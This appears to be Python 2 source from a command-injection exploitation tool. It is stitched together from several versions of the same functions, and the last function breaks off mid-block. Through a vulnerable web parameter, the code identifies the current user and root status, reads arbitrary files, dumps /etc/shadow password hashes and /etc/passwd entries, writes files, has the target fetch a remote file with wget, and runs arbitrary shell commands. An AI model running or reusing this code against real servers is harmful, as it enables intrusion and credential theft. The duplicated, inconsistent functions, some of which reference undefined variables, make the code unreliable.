def current_user(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter):
  cmd = settings.CURRENT_USER
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter)
  cu_account = eb_injector.injection_results(response, TAG)
  if cu_account:
    cu_account = "".join(str(p) for p in cu_account).replace(" ", "", 1)[:-1]
    # Check if the user have super privileges.
    if menu.options.is_root:
      cmd = settings.ISROOT
      response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter)
      shell = eb_injector.injection_results(response, TAG)
      if menu.options.verbose:
        print ""
      if shell:
        shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
        sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL)
        if shell != "0":
            sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
            sys.stdout.flush()
        else:
          sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
          sys.stdout.flush()
    else:
      sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n")
      sys.stdout.flush()

def system_information(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename): 
  cmd = settings.RECOGNISE_OS            
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, filename)
  target_os = eb_injector.injection_results(response, TAG)
  if target_os:
    target_os = "".join(str(p) for p in target_os).replace(" ", "", 1)[:-1]
    if menu.options.verbose:
      print ""
    if target_os == "Linux":
      cmd = settings.RECOGNISE_HP
      response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, filename)
      target_arch = eb_injector.injection_results(response, TAG)
      if target_arch:
        if menu.options.verbose:
          print ""
        target_arch = "".join(str(p) for p in target_arch).replace(" ", "", 1)[:-1]
        sys.stdout.write(Style.BRIGHT + "(!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL)
        sys.stdout.write(Style.BRIGHT + " and the hardware platform is " + Style.UNDERLINE + target_arch + Style.RESET_ALL + ".\n")
        sys.stdout.flush()
        # Add infos to logs file.   
        output_file = open(filename, "a")
        output_file.write("    (!) The target operating system is " + target_os)
        output_file.write(" and the hardware platform is " + target_arch + ".\n")
        output_file.close()    
    else:
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
      # Add infos to logs file.    
      output_file = open(filename, "a")
      output_file.write("    (!) The target operating system is " + target_os + ".\n")
      output_file.close()

def do_check(separator,TAG,prefix,suffix,http_request_method,url,vuln_parameter):
  
  #  Read file
  if menu.options.file_read:
    file_to_read = menu.options.file_read
    cmd = "echo $(" + settings.FILE_READ + file_to_read + ")"
    response = eb_injector.injection(separator,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter)
    shell = eb_injector.injection_results(response,TAG)
    shell = "".join(str(p) for p in shell)
    if shell:
      if menu.options.verbose:
	print ""
      sys.stdout.write(colors.BOLD + "(!) Contents of file " + colors.UNDERL + file_to_read + colors.RESET + " : ")
      sys.stdout.flush()
      print shell
    else:
     sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that you don't have permissions to read the '"+ file_to_read + "' file.\n" + colors.RESET)
     sys.stdout.flush()

  #  Write file
  if menu.options.file_write:
    file_to_write = menu.options.file_write
    if not os.path.exists(file_to_write):
      sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that the '"+ file_to_write + "' does not exists." + colors.RESET)
      sys.stdout.flush()
      sys.exit(0)
      
    if os.path.isfile(file_to_write):
      with open(file_to_write, 'r') as content_file:
	content = [line.replace("\n", " ") for line in content_file]
      content = "".join(str(p) for p in content).replace("'","\"")
    else:
      sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that '"+ file_to_write + "' is not a file." + colors.RESET)
      sys.stdout.flush()
      
    # Check the file-destination
    if os.path.split(menu.options.file_dest)[1] == "" :
      dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
    elif os.path.split(menu.options.file_dest)[0] == "/":
      dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
    else:
      dest_to_write = menu.options.file_dest
    cmd = settings.FILE_WRITE + " '"+ content + "'" + " > " + "'"+ dest_to_write + "'"
    response = eb_injector.injection(separator,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter)
    shell = eb_injector.injection_results(response,TAG)
    shell = "".join(str(p) for p in shell)
    
    # Check if file exists!
    cmd = "echo $(ls " + dest_to_write + ")"
    response = eb_injector.injection(separator,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter)
    shell = eb_injector.injection_results(response,TAG)
    shell = "".join(str(p) for p in shell)
    if shell:
      if menu.options.verbose:
	print ""
      sys.stdout.write(colors.BOLD + "\n(!) The " + colors.UNDERL + shell + colors.RESET + colors.BOLD +" file was created successfully!\n" + colors.RESET)
      sys.stdout.flush()
    else:
     sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that you don't have permissions to write the '"+ dest_to_write + "' file.\n" + colors.RESET)
     sys.stdout.flush()

def do_check(separator,TAG,prefix,suffix,http_request_method,url,vuln_parameter):

  # Current user enumeration
  if menu.options.current_user:
    menu.options.verbose = False
    cmd = settings.CURRENT_USER
    response = eb_injector.injection(separator,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter)
    shell = eb_injector.injection_results(response,TAG)
    if shell:
      if menu.options.verbose:
	print ""
      shell = "".join(str(p) for p in shell).replace(" ", "", 1)
      print "  (+) Current User : "+ colors.YELLOW + colors.BOLD + shell + colors.RESET + ""

  # Is-root enumeration
  if menu.options.is_root:
    cmd = settings.ISROOT
    response = eb_injector.injection(separator,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter)
    shell = eb_injector.injection_results(response,TAG)
    if shell:
      if menu.options.verbose:
	print ""
      sys.stdout.write( "  (+) Current user have root privs :")
      sys.stdout.flush()
      shell = "".join(str(p) for p in shell)
      if shell != "0":
	print colors.RED + " FALSE "+colors.RESET
      else:
	print colors.GREEN + " TRUE "+colors.RESET 

  # Hostname enumeration
  if menu.options.hostname:
    menu.options.verbose = False
    cmd = settings.HOSTNAME
    response = eb_injector.injection(separator,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter)
    shell = eb_injector.injection_results(response,TAG)
    if shell:
      if menu.options.verbose:
	print ""
      shell = "".join(str(p) for p in shell).replace(" ", "", 1)
      print "  (+) Hostname : "+ colors.YELLOW + colors.BOLD +  shell + colors.RESET + ""

  # Single os-shell execution
  if menu.options.os_shell:
    cmd =  menu.options.os_shell
    response = eb_injector.injection(separator,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter)
    shell = eb_injector.injection_results(response,TAG)
    if shell:
      if menu.options.verbose:
	print ""
      shell = "".join(str(p) for p in shell).replace(" ", "", 1)
      print "\n" + colors.GREEN + colors.BOLD + shell + colors.RESET
      sys.exit(0)
		
    
# eof

def current_user(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):
  if settings.TARGET_OS == "win":
    settings.SYS_USERS = settings.WIN_SYS_USERS
    settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
    if alter_shell:
      settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'")
    else:  
      settings.SYS_USERS = "\"" + settings.SYS_USERS + "\""  
  cmd = settings.CURRENT_USER
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
  cu_account = eb_injector.injection_results(response, TAG)
  if cu_account:
    cu_account = "".join(str(p) for p in cu_account).replace(" ", "", 1)[:-1]
    # Check if the user have super privileges.
    if menu.options.is_root or menu.options.is_admin:
      if settings.TARGET_OS == "win":
        cmd = settings.IS_ADMIN
        if not alter_shell:
          cmd = "\"" + cmd + "\"" 
      else:  
        cmd = settings.IS_ROOT 
      response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
      shell = eb_injector.injection_results(response, TAG)
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL)
      # Add infos to logs file.    
      output_file = open(filename, "a")
      output_file.write("    (!) The current user is " + cu_account)
      output_file.close()
      if shell:
        shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
        if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
           (settings.TARGET_OS != "win" and shell != "0"):
          sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n")
          sys.stdout.flush()
          # Add infos to logs file.   
          output_file = open(filename, "a")
          output_file.write(" and it is not privileged.\n")
          output_file.close()
        else:
          sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n")
          sys.stdout.flush()
          # Add infos to logs file.   
          output_file = open(filename, "a")
          output_file.write(" and it is privileged.\n")
          output_file.close()
    else:
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      output_file.write("    (!) The current user is " + cu_account + "\n")
      output_file.close()

def file_upload(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):
  if settings.TARGET_OS == "win":
    # Not yet implemented
    pass
  else:
    file_to_upload = menu.options.file_upload
    # check if remote file exists.
    try:
      urllib2.urlopen(file_to_upload)
    except urllib2.HTTPError, err_msg:
      warn_msg = "It seems that the '" + file_to_upload + "' file, does not exists. (" +str(err_msg)+ ")"
      sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
      sys.stdout.flush()
      sys.exit(0)
      
    # Check the file-destination
    if os.path.split(menu.options.file_dest)[1] == "" :
      dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
    elif os.path.split(menu.options.file_dest)[0] == "/":
      dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
    else:
      dest_to_upload = menu.options.file_dest
      
    # Execute command
    cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload 
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    shell = eb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    
    # Check if file exists!
    if settings.TARGET_OS == "win":
      cmd = "dir " + dest_to_upload + ")"
    else:  
      cmd = "echo $(ls " + dest_to_upload + ")"
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    shell = eb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    if settings.VERBOSITY_LEVEL >= 1:
      print ""
    if shell:
      success_msg = "The " +  shell
      success_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" 
      sys.stdout.write(settings.print_success_msg(success_msg) + "\n")
      sys.stdout.flush()
    else:
      warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file."
      sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
      sys.stdout.flush()

def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
  if settings.TARGET_OS == "win":
    settings.HOSTNAME = settings.WIN_HOSTNAME 
  cmd = settings.HOSTNAME
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # Command execution results.
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    # Perform target page reload (if it is required).
    if settings.URL_RELOAD:
      response = requests.url_reload(url, timesec)
    # Evaluate injection results.
    shell = eb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell).replace(" ", "", 1)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if shell:
    success_msg = "The hostname is " +  shell + "."
    sys.stdout.write(settings.print_success_msg(success_msg) + "\n")
    sys.stdout.flush()
    # Add infos to logs file. 
    output_file = open(filename, "a")
    success_msg = "The hostname is " + shell + ".\n"
    output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
    output_file.close()
  else:
    warn_msg = "Heuristics have failed to identify the hostname."
    print settings.print_warning_msg(warn_msg)

def file_read(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):
  file_to_read = menu.options.file_read
  # Execute command
  if settings.TARGET_OS == "win":
    cmd = settings.WIN_FILE_READ + file_to_read
  else:
    cmd = "(" + settings.FILE_READ + file_to_read + ")"
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = eb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if settings.VERBOSITY_LEVEL >= 1:
    print ""
  if shell:
    success_msg = "The contents of file '"  
    success_msg += file_to_read + "'" + Style.RESET_ALL + ": "
    sys.stdout.write(settings.print_success_msg(success_msg))
    sys.stdout.flush()
    print shell
    output_file = open(filename, "a")
    success_msg = "The contents of file '"
    success_msg += file_to_read + "' : " + shell + ".\n"
    output_file.write("    " + settings.SUCCESS_SIGN + success_msg)
    output_file.close()
  else:
    warn_msg = "It seems that you don't have permissions "
    warn_msg += "to read the '" + file_to_read + "' file."
    sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
    sys.stdout.flush()

def powershell_version(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename): 
  cmd = settings.PS_VERSION
  if alter_shell:
    cmd = cmd.replace("'","\\'")
  else:
    cmd = "\"" + cmd + "\""
  #Command execution results.
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
  # Evaluate injection results.
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    ps_version = eb_injector.injection_results(response, TAG)
    ps_version = "".join(str(p) for p in ps_version).replace(" ", "", 1)[:-1]
    session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
  else:
    ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  try:
    if float(ps_version):
      settings.PS_ENABLED = True
      if menu.options.verbose:
        print ""
      # Output PowerShell's version number
      sys.stdout.write(Style.BRIGHT + "(!) The PowerShell's version number is " + Style.UNDERLINE +  ps_version + Style.RESET_ALL + Style.BRIGHT + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
      # Add infos to logs file. 
      output_file = open(filename, "a")
      output_file.write("    (!) The PowerShell's version number is " + ps_version + ".\n")
      output_file.close()
  except ValueError:
    print Fore.YELLOW + settings.WARNING_SIGN + "Heuristics have failed to identify PowerShell's version, which means that some payloads or injection techniques may be failed." + Style.RESET_ALL 
    settings.PS_ENABLED = False
    checks.ps_check_failed()

def file_read(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):
  file_to_read = menu.options.file_read
  # Execute command
  if settings.TARGET_OS == "win":
    cmd = settings.WIN_FILE_READ + file_to_read
  else:
    cmd = "(" + settings.FILE_READ + file_to_read + ")"
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = eb_injector.injection_results(response, TAG)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if menu.options.verbose:
    print ""
  if shell:
    sys.stdout.write(Style.BRIGHT + "(!) The contents of file '" + Style.UNDERLINE + file_to_read + Style.RESET_ALL + "' : ")
    sys.stdout.flush()
    print shell
    output_file = open(filename, "a")
    output_file.write("    (!) The contents of file '" + file_to_read + "' : " + shell + ".\n")
    output_file.close()
  else:
   sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to read the '" + file_to_read + "' file." + Style.RESET_ALL + "\n")
   sys.stdout.flush()

def system_passwords(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename): 
  cmd = settings.SYS_PASSES            
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, filename)
  sys_passes = eb_injector.injection_results(response, TAG)
  if sys_passes :
    sys.stdout.write("(*) Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
    sys.stdout.flush()
    sys_passes = "".join(str(p) for p in sys_passes)
    sys_passes = sys_passes.replace("(@)", "\n")
    sys_passes = sys_passes.split( )
    if len(sys_passes) != 0 :
      sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
      sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      output_file.write("    (!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" )
      output_file.close()
      count = 0
      for line in sys_passes:
        count = count + 1
        fields = line.split(":")
        if fields[1] != "*" and fields[1] != "!!" and fields[1] != "":
          print "  ("+str(count)+") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
          # Add infos to logs file.   
          output_file = open(filename, "a")
          output_file.write("      ("+str(count)+") " + fields[0] + " : " + fields[1])
          output_file.close()
    else:
      sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
      sys.stdout.flush()
      print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.SHADOW_FILE + "'." + Style.RESET_ALL

def file_upload(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):
  if settings.TARGET_OS == "win":
    # Not yet implemented
    pass
  else:
    file_to_upload = menu.options.file_upload
    # check if remote file exists.
    try:
      urllib2.urlopen(file_to_upload)
    except urllib2.HTTPError, err:
      sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that the '" + file_to_upload + "' file, does not exists. (" +str(err)+ ")" + Style.RESET_ALL + "\n")
      sys.stdout.flush()
      sys.exit(0)
      
    # Check the file-destination
    if os.path.split(menu.options.file_dest)[1] == "" :
      dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
    elif os.path.split(menu.options.file_dest)[0] == "/":
      dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
    else:
      dest_to_upload = menu.options.file_dest
      
    # Execute command
    cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload 
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
    shell = eb_injector.injection_results(response, TAG)
    shell = "".join(str(p) for p in shell)
    
    # Check if file exists!
    if settings.TARGET_OS == "win":
      cmd = "dir " + dest_to_upload + ")"
    else:  
      cmd = "echo $(ls " + dest_to_upload + ")"
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
    shell = eb_injector.injection_results(response, TAG)
    shell = "".join(str(p) for p in shell)
    if menu.options.verbose:
      print ""
    if shell:
      sys.stdout.write(Style.BRIGHT + "(!) The " + Style.UNDERLINE + shell + Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" + Style.RESET_ALL + "\n")
      sys.stdout.flush()
    else:
     sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." + Style.RESET_ALL + "\n")
     sys.stdout.flush()

def system_users(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename): 
  cmd = settings.SYS_USERS             
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, filename)
  sys_users = eb_injector.injection_results(response, TAG)
  if sys_users :
    if menu.options.verbose:
      print ""
    sys.stdout.write("(*) Fetching '" + settings.PASSWD_FILE + "' to enumerate users entries... ")
    sys.stdout.flush()
    sys_users = "".join(str(p) for p in sys_users)
    sys_users = sys_users.replace("(@)", "\n")
    sys_users = sys_users.split()
    if len(sys_users) != 0 :
      sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_users)) + " entries in '" + settings.PASSWD_FILE + "'.\n" + Style.RESET_ALL)
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      output_file.write("    (!) Identified " + str(len(sys_users)) + " entries in '" + settings.PASSWD_FILE + "'.\n")
      output_file.close()
      count = 0
      for line in sys_users:
        count = count + 1
        fields = line.split(":")
        # System users privileges enumeration
        if menu.options.privileges:
          if int(fields[1]) == 0:
            is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " root user "
            is_privilleged_nh = " is root user "
          elif int(fields[1]) > 0 and int(fields[1]) < 99 :
            is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " system user "
            is_privilleged_nh = " is system user "
          elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
            if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
              is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " anonymous user "
              is_privilleged_nh = " is anonymous user "
            elif int(fields[1]) == 60002:
              is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " non-trusted user "
              is_privilleged_nh = " is non-trusted user "   
            else:
              is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " regular user "
              is_privilleged_nh = " is regular user "
          else :
            is_privilleged = ""
            is_privilleged_nh = ""
        else :
          is_privilleged = ""
          is_privilleged_nh = ""
        print "  ("+str(count)+") '" + Style.BRIGHT + Style.UNDERLINE + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privilleged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'." 
        # Add infos to logs file.   
        output_file = open(filename, "a")
        output_file.write("      ("+str(count)+") '" + fields[0]+ "'" + is_privilleged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
        output_file.close()
    else:
      sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
      sys.stdout.flush()
      print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.PASSWD_FILE + "'." + Style.RESET_ALL

def single_os_cmd_exec(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter):   
  cmd =  menu.options.os_cmd
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter)
  shell = eb_injector.injection_results(response, TAG)
  if shell:
    shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
    if menu.options.verbose:
      print ""
    print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
    sys.exit(0)

def file_write(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter):
  file_to_write = menu.options.file_write
  if not os.path.exists(file_to_write):
    sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that the '"+ file_to_write + "' file, does not exists." + Style.RESET_ALL)
    sys.stdout.flush()
    sys.exit(0)
    
  if os.path.isfile(file_to_write):
    with open(file_to_write, 'r') as content_file:
      content = [line.replace("\n", " ") for line in content_file]
    content = "".join(str(p) for p in content).replace("'", "\"")
  else:
    sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that '"+ file_to_write + "' is not a file." + Style.RESET_ALL)
    sys.stdout.flush()
    
  # Check the file-destination
  if os.path.split(menu.options.file_dest)[1] == "" :
    dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
  elif os.path.split(menu.options.file_dest)[0] == "/":
    dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
  else:
    dest_to_write = menu.options.file_dest
    
  # Execute command
  cmd = settings.FILE_WRITE + " '"+ content + "'" + " > " + "'"+ dest_to_write + "'"
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter)
  shell = eb_injector.injection_results(response, TAG)
  shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
  
  # Check if file exists!
  cmd = "(ls " + dest_to_write + ")"
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter)
  shell = eb_injector.injection_results(response, TAG)
  shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
  
  if shell:
    if menu.options.verbose:
      print ""
    sys.stdout.write(Style.BRIGHT + "\n(!) The " + Style.UNDERLINE + shell + Style.RESET_ALL + Style.BRIGHT +" file was created successfully!\n" + Style.RESET_ALL)
    sys.stdout.flush()
  else:
   sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that you can't create the '"+ dest_to_write + "' file." + Style.RESET_ALL + "\n")
   sys.stdout.flush()

def system_passwords(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):     
  if settings.TARGET_OS == "win":
    # Not yet implemented!  
    pass 
  else:
    cmd = settings.SYS_PASSES            
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
      # Evaluate injection results.
      sys_passes = eb_injector.injection_results(response, TAG)
      sys_passes = "".join(str(p) for p in sys_passes)
      session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
    else:
      sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if sys_passes == "":
      sys_passes = " "
    if sys_passes :
      if menu.options.verbose:
        print ""
      sys.stdout.write(settings.INFO_SIGN + "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
      sys.stdout.flush()
      sys_passes = "".join(str(p) for p in sys_passes)
      sys_passes = sys_passes.replace(" ", "\n")
      sys_passes = sys_passes.split( )
      if len(sys_passes) != 0 :
        sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
        sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entr" + ('ies', 'y')[len(sys_passes) == 1] + " in '" +  settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
        sys.stdout.flush()
        # Add infos to logs file.   
        output_file = open(filename, "a")
        output_file.write("\n    (!) Identified " + str(len(sys_passes)) + " entr" + ('ies', 'y')[len(sys_passes) == 1] + " in '" +  settings.SHADOW_FILE + "'.\n" )
        output_file.close()
        count = 0
        for line in sys_passes:
          count = count + 1
          try:
            fields = line.split(":")
            if fields[1] != "*" and fields[1] != "!" and fields[1] != "":
              print "  (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
              # Add infos to logs file.   
              output_file = open(filename, "a")
              output_file.write("      (" +str(count)+ ") " + fields[0] + " : " + fields[1])
              output_file.close()
          # Check for appropriate '/etc/shadow' format.
          except IndexError:
            if count == 1 :
              sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that '" + settings.SHADOW_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL + "\n")
            print fields[0]
            output_file = open(filename, "a")
            output_file.write("      " + fields[0])
            output_file.close()
      else:
        sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
        sys.stdout.flush()
        print "\n" + Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to read '" + settings.SHADOW_FILE + "' to enumerate users password hashes." + Style.RESET_ALL

def single_os_cmd_exec(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename):   
  cmd =  menu.options.os_cmd
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, filename)
  shell = eb_injector.injection_results(response, TAG)
  if shell:
    shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
    if shell != "":
      print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
    else:
      print "\n" + Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL
    sys.exit(0)

def hostname(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter):
  cmd = settings.HOSTNAME
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter)
  shell = eb_injector.injection_results(response, TAG)
  if shell:
    shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
    if menu.options.verbose:
